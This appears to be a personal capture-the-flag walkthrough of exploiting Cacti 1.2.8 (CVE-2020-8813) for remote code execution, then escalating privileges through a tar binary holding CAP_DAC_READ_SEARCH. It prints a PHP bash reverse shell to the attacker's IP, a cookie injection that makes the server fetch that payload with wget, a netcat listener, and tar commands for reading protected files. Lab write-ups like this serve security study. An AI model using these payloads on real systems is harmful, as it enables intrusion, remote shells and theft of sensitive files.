Hacking walkthrough: Cacti 1.2.8 exploit Ubuntu 18.04.3 LTS [RCE] [PE]

 This is a CTF (hacking lab) I tried . Its interesting and there are many ways to solve it or even to customize this CTF box. I dont know if you have seen it somewhere, I haven't so I had to do some researching. Im sure if there are/will-be similar others,they (will) share something in common which is  Cacti 1.2.8.

 

Web application:  Cacti 1.2.8

Server: Linux 4.15.0-88-generic Ubuntu 18.04.3 LTS

Vulnerability:  CVE-2020-8813

Exploits:   48144 & 48145 . Use the one that fits the box situation which is normally in case of CTFs  48145 (Unauthenticated exploit)

Vulnerability and Exploits documentation: https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/ 

 

• First of all, in this box I had to change the payload, because netcat didn't work, so I had to do some experimenting with other reverse shells with no luck . So i thought to test the connection between my computer and the target. I tried "wget" and "curl" and they both worked. 
• I created a reverse shell (payload.php), so use your own if want . Mine is : <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/my-ip/port-number 0>&1'"); ?>
  
• Run  python3 -m http.server in the command shell , to test the communication, and make sure the message is : "GET /payload.php HTTP/1.1" 200
  
• Now, my testing payload looks like this:   

     ;wget${IFS}http://my-ip:8000/payload.php ( Edit it)

• I tested the communication by using burp. So start it .Or use/edit the exploit.
  
• Type in your browser target-ip//graph_realtime.php?action=countdown&top=0&left=0&local_graph_id=1826 
• In burp, send this request GET /graph_realtime.php?action=countdown&top=0&left=0&local_graph_id=1826 HTTP/1.1 to repeater. 
• Go to decoder and paste ;wget${IFS}http://my-ip:8000/payload.php , decode as url 
• Copy and paste it in the repeater after Cookie:Cacti= [paste here]
• Press send , you should get the above message- code 200. 
• The file now is uploaded , so its remote execution time (RCE). 
• Run a netcat listener nc -nlvp port-number 
• Type in your browser target-ip/payload.php
• Bingo ! you should now  get a shell
• Now you are in the box as "www-data" user.
• I uploaded this tool "lse" to check the security of the Linux box , its a handy tool to look for hints that could help getting a privilege escalation. 
• chmod +x lse.sh 
• ./lse -l1 (or choose a level 0-2)
  
• Run the script and examine the output.This guide is awesome and it will definitely help you make use of the output. 
• In my case , I found /bin/tar to have CAP_DAC_READ_SEARCH+ep . This capability helps to search and view files without permission !
• So I used it to view CTF keys, passwords and sensitive files. 
• You just do this in order: 
• tar -cvf file.tar /directory/anyfile ( edit it , create the tar )
  
• tar -xvf file.tar ( extract the tar)
• After that you can view the files!
• If you have any question, you know what to do :)
  

Happy hacking